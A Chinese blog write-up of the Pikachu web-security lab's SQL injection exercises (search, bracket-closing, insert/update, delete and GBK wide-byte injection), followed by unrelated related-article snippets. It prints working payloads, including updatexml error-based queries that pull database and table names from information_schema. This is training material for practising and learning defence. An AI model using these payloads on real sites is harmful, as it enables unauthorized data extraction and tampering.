当前位置: 首页 > news >正文

pikachu之特殊注入之搜索型注入、xx型注入、insert/update注入、delete注入、宽字节注入

一步一脚印!!!

补充:此处为什么不写http请求头注入,因为该注入类型只是换了注入点,语句其他根本没有什么变化

1.搜索型

先尝试输入常用payload:  1' or 1=1 #。

 已经有回显

我们在查看提示

我们输入%%,发现跟之前的回显一致

 查看源码

发现此处就是一个模糊匹配搜索的方式

但是一般我们不可能看到源码,所以通过大概的语法报错来确定

输入payload:1'

%'' 这个特定的错误片段可能意味着你在使用百分号(%)作为通配符进行模糊匹配时,出现了单引号不匹配或者其他与字符串相关的错误,可以联想到模糊匹配。

% 在 LIKE 子句中是一个非常灵活的通配符,可以用来表示前导、中间和尾随的任意数量字符,包括零个字符的情形。

实例:like '%a' (以a结尾) ,'%a%'(包含a) , 'a%'(以a开头)

2.xx型注入

先试试: 1' or 1=1#

报错了,也没有提示

换成   1'

怀疑还需要括号进行闭合

重新复盘payload:1') or 1=1#

成功了!

返回来看提示

总结:考闭合思路!!!

3.insert/update注入

还是先注册

边注册边抓包看,怀疑尝试注入点,尝试常用payload:1' or 1=1#

 根据右边的报错,可得应该是闭合错误了,不过一定要有单引号,于是尝试 '",'),发现')有不同的回显,说明闭合方式就为')

 发现列数不对,加入列数,得到:

username=1','2','3','4','5','6') #&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit

列数对了,我们试着插入报错语句

username=1','updatexml(1,concat('~',(select database())))','3','4','5','6') #&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit,并没有效果

然后我们现在回想为什么题目是insert/update注入,此处注册其实就是使用insert/update语句对数据库进行数据插入更新以来注册账户,所以我们可以大致推算,此处语句可能类似如下:

insert into users values ('id','usename','password');

此语句也印证了上述闭合

所以有了大致的思路,我们试着闭合语句和进行报错注入,此处插入or'的原因是保证语法正确

username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

 

该语句插入后语句变为了

insert into users values ('1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’ ','usename','password');

此时该语句是不会进行语法报错的,同时or可以换为and

爆表:

依次爆表

username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

或者

直接爆表:

username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

但是其实直接爆库并没有爆出所有的表,这是因为group_concat的限制,只能返回32个字符,所以此处我们要使用截断函数substr函数进行进一步的把表爆完整

所以改为:(此处substr后面的两个参数我是随便填的)

username=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),25,20),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

 爆列语句我就不演示了,类比爆表的语句就行了

update注入

 update注入其实就是登录后修改个人信息处进行报错注入,语句跟上述insert语句一模一样,就不多做演示了

4.delete注入

既然是delete,那我们就先留个言吧,你不会真信了吧,作为一个网安人,怎么可能放过可能的注入点呢,悄悄告诉你,其实submit的内容我也试过了,并不是注入点哟!

删除留言的同时抓包:

发现一个id参数,字符型注入做多了,这道题我做了好久才发现居然是数值型注入

只好重新走流程了,此处需要注意,需要将注入语句在一些地方加入编码,不能出现空格等

所以我们直接先进行判断字符型还是数值型,

and 1=1

' and '1'='1

此处我已经试过是数值型注入了,具体步骤如下,不过其实就是当你发现无论咋么闭合都不管用时,就必须考虑到数值型注入了,当然如果一来就判断是最好的。

介于该注入输入正确的代码时会直接删除留言,所以在repeat模块中其实并不好进行多次输入验证,所以只能每写一个payload,就要重新抓一次包(仅仅是在验证时,后面就可以使用repeat模块)

我这里其实是多次输入payload,减懒了,从中看出

难得做到一道数值型注入,就强化一下吧

爆库:

+or+updatexml(1,concat(0x7e,(select+database())),1)  ---此处不用加#,因为数值型注入

爆表:

+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),1)

加上

+or+updatexml(1,concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),25,30)),1)

爆列就不演示了,自己演示哟!!

5.宽字节注入

什么是宽字节

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

  • 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
  • 英文默认占一个字节,中文占两个字节

宽字节注入使用条件

PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码

宽字节注入的使用原因

单引号、双引号等特殊字符被转义

宽字节注入原理

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生

看题目

 根据提示来,查询并抓包

然后直接上常用的宽字节payload:kobe%df' or 1=1#

即可查询到所有用户!!!

留言

但是这种情形一般我们不可能直接知道它是宽字节注入....,只能多做尝试,才能明白,网安人的必备就是勤劳的双手!!!文章到此就结束了,祝你们学习顺利!!!

相关文章:

pikachu之特殊注入之搜索型注入、xx型注入、insert/update注入、delete注入、宽字节注入

一步一脚印!!! 补充:此处为什么不写http请求头注入,因为该注入类型只是换了注入点,语句其他根本没有什么变化 1.搜索型 先尝试输入常用payload: 1 or 11 #。 已经有回显 我们在查看提示 我们…...

docker构建hyperf环境

一,构建hyperf 镜像 官网git https://github.com/hyperf/hyperf-docker 使用dockerfile构建镜像 根据需要这里我使用8.1 swoole版本的镜像 在/home/hyperfdocker 目录中新建一个Dockerfile文件,将这个git上的Dockerfile内容复制粘贴进去 docker build…...

WPF常用mvvm开源框架介绍 vue的mvvm设计模式鼻祖

WPF(Windows Presentation Foundation)是一个用于构建桌面应用程序的.NET框架,它支持MVVM(Model-View-ViewModel)架构模式来分离UI逻辑和业务逻辑。以下是一些常用的WPF MVVM开源框架: Prism Prism是由微软…...

HTML <script>元素的10个属性

将javascrip插入HTML的主要方法是使用<script>元素&#xff0c;这个元素是网景公司&#xff08;Netscape&#xff09;创造出来的&#xff0c;script 元素所属类型因其用法而异。位于 head 元素中的 script 元素属于元数据元素&#xff0c;位于其他元素&#xff08;如 bod…...

NX二次开发:ListingWindow窗口的应用

一、概述 在NX二次开发的学习中&#xff0c;浏览博客时发现看到[社恐猫]和[王牌飞行员_里海]这两篇博客中写道有关信息窗口内容的打印和将窗口内容保存为txt,个人人为在二次开发项目很有必要&#xff0c;因此做以下记录。 ListingWindow信息窗口发送信息四种位置类型 设置Listi…...

设计模式-结构型模式-外观模式

外观模式&#xff08;Facade&#xff09;&#xff0c;为子系统中的一组接口提供一个一致的界面&#xff0c;此模式定义了一个高层接口&#xff0c;这个接口使得这一子系统更加容易使用。[DP] 首先&#xff0c;定义子系统的各个组件接口和具体实现类&#xff1a; // 子系统组件接…...

C++学习第四天(类与对象下)

1、构造函数的其他知识 构造函数体赋值 在创建对象时&#xff0c;编译器通过调用构造函数&#xff0c;给对象中各个成员变量一个合适的初始值 构造函数调用之后&#xff0c;对象中已经有了一个初始值&#xff0c;但是不能将其称为对对象中成员变量的初始化&#xff0c;构造函…...

【AI Agent系列】【MetaGPT多智能体学习】0. 环境准备 - 升级MetaGPT 0.7.2版本及遇到的坑

之前跟着《MetaGPT智能体开发入门课程》学了一些MetaGPT的知识和实践&#xff0c;主要关注在MetaGPT入门和单智能体部分&#xff08;系列文章附在文末&#xff0c;感兴趣的可以看下&#xff09;。现在新的教程来了&#xff0c;新教程主要关注多智能体部分。 本系列文章跟随《M…...

python自动化管理和zabbix监控网络设备(无线AC控制瘦ap配置部分)

目录 前言 拓扑 一、AC-SW1 二、Core-sw1 三、Core-sw2 四、汇聚层 五、AC1 六、SW1-6 七、DMZ区域 前言 具体原理和操作可以访问我的主页视频 白帽小丑的个人空间-白帽小丑个人主页-哔哩哔哩视频 拓扑 一、AC-SW1 sys sysname AC-SW1 vlan batch 100 200 210 220 2…...

XSS中级漏洞(靶场)

目录 一、环境 二、正式开始闯关 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x0B 0x0C 0x0D 0x0E ​ 0x0F 0x10 0x11 0x12 一、环境 在线环境&#xff08;gethub上面的&#xff09; alert(1) 二、正式开始闯关 0x01 源码&#xff1a; 思路&#xff1a;闭…...

etcd java 客户端jetcd库踩坑日志

问题 Q&#xff1a; EtcdException: Unable to resolve endpoints [http://0.0.0.0:2379/] A&#xff1a; 经过测试&#xff0c;endpoints最后的斜杠不能写&#xff0c;完整的endpoints是http://0.0.0.0:2379 Q&#xff1a; java.lang.NoSuchMethodError: io.netty.buffer.Po…...

<网络安全>《61 微课堂<第1课 南北向流量是什么?>》

1 形象化解释 在网络安全中&#xff0c;经常听到南北向流量这个词。那究竟是什么意思呢&#xff1f; 这里的南北&#xff0c;就是地图上的东西南北&#xff0c;是方向。我们在画网络架构图时&#xff0c;往往是由上到下依次是web层、应用层、数据层&#xff0c;流量从web层到…...

Day12-【Java SE进阶】JDK8新特性:Lambda表达式、方法引用、常见算法、正则表达式、异常

一、JDK8新特性 1.Lambda表达式 Lambda表达式是JDK 8开始新增的一种语法形式;作用:用于简化名内部类的代码写法。 注意:Lambda表达式并不是说能简化全部匿名内部类的写法&#xff0c;只能简化函数式接口的匿名内部类。 有且仅有一个抽象方法的接口。注意:将来我们见到的大部…...

go mod中如何解决 xxx/yyy/lib@v1.1.0: unrecognized import path

需要检查的几个地方 这个错误通常出现在 Go 模块系统无法找到指定版本的模块时。有几种可能的原因和解决方法&#xff1a; 模块未被发布或标记&#xff1a; 确保 xxx/yyy/lib 模块的版本 v1.1.0 已经被正确地发布或标记。你可以在对应的 GitLab 仓库中查看是否存在 v1.1.0 标签…...

比较Python和Rust的内存管理机制

大家好&#xff0c;内存管理是编程语言的基础&#xff0c;它确保着资源被有效利用&#xff0c;不同的编程语言采用不同的策略来管理内存。有些语言需要程序员手动管理内存&#xff0c;有些语言则自动化了内存管理过程。Python和Rust都采用了垃圾收集&#xff08;Garbage Collec…...

Linux系统——Shell脚本——一键安装LNMP

#!/bin/bash #安装nginx echo "安装nginx服务" wget http://nginx.org/download/nginx-1.11.4.tar.gz &>/dev/null if [ $? -eq 0 ] thenecho "nginx-1.11.4安装包下载完成"echo "--开始安装必要的依赖文件--"yum install -y gcc gcc-c…...

算法复习之二分【备战蓝桥杯】

二分模板一共有两个&#xff0c;分别适用于不同情况。 算法思路&#xff1a;假设目标值在闭区间[l, r]中&#xff0c; 每次将区间长度缩小一半&#xff0c;当l r时&#xff0c;我们就找到了目标值。 版本一 当我们将区间[l, r]划分成[l, mid]和[mid 1, r]时&#xff0c;其更…...

如何做代币分析:以 SHIB 币为例

作者&#xff1a;lesleyfootprint.network 编译&#xff1a;cicifootprint.network 数据源&#xff1a;SHIB Token Dashboard &#xff08;仅包括以太坊数据&#xff09; 在加密货币和数字资产领域&#xff0c;代币分析起着至关重要的作用。代币分析指的是深入研究与代币相关…...

Springboot+vue的考勤管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。

演示视频&#xff1a; Springbootvue的考勤管理系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层…...

https://htmlunit.sourceforge.io/

https://htmlunit.sourceforge.io/ 爬虫 HtmlUnit – Welcome to HtmlUnit HtmlUnit 3.11.0 API https://mvnrepository.com/artifact/net.sourceforge.htmlunit/htmlunit/2.70.0 https://s01.oss.sonatype.org/service/local/repositories/releases/content/org/htmlunit…...

conda相比python好处

Conda 作为 Python 的环境和包管理工具&#xff0c;相比原生 Python 生态&#xff08;如 pip 虚拟环境&#xff09;有许多独特优势&#xff0c;尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处&#xff1a; 一、一站式环境管理&#xff1a…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能&#xff0c;包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

蓝桥杯 2024 15届国赛 A组 儿童节快乐

P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡&#xff0c;轻快的音乐在耳边持续回荡&#xff0c;小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下&#xff0c;六一来了。 今天是六一儿童节&#xff0c;小蓝老师为了让大家在节…...

高频面试之3Zookeeper

高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个&#xff1f;3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制&#xff08;过半机制&#xff0…...

【决胜公务员考试】求职OMG——见面课测验1

2025最新版&#xff01;&#xff01;&#xff01;6.8截至答题&#xff0c;大家注意呀&#xff01; 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:&#xff08; B &#xff09; A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

【VLNs篇】07:NavRL—在动态环境中学习安全飞行

项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战&#xff0c;克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

七、数据库的完整性

七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...

论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing

Muffin 论文 现有方法 CRADLE 和 LEMON&#xff0c;依赖模型推理阶段输出进行差分测试&#xff0c;但在训练阶段是不可行的&#xff0c;因为训练阶段直到最后才有固定输出&#xff0c;中间过程是不断变化的。API 库覆盖低&#xff0c;因为各个 API 都是在各种具体场景下使用。…...

Python 训练营打卡 Day 47

注意力热力图可视化 在day 46代码的基础上&#xff0c;对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...

uni-app学习笔记三十五--扩展组件的安装和使用

由于内置组件不能满足日常开发需要&#xff0c;uniapp官方也提供了众多的扩展组件供我们使用。由于不是内置组件&#xff0c;需要安装才能使用。 一、安装扩展插件 安装方法&#xff1a; 1.访问uniapp官方文档组件部分&#xff1a;组件使用的入门教程 | uni-app官网 点击左侧…...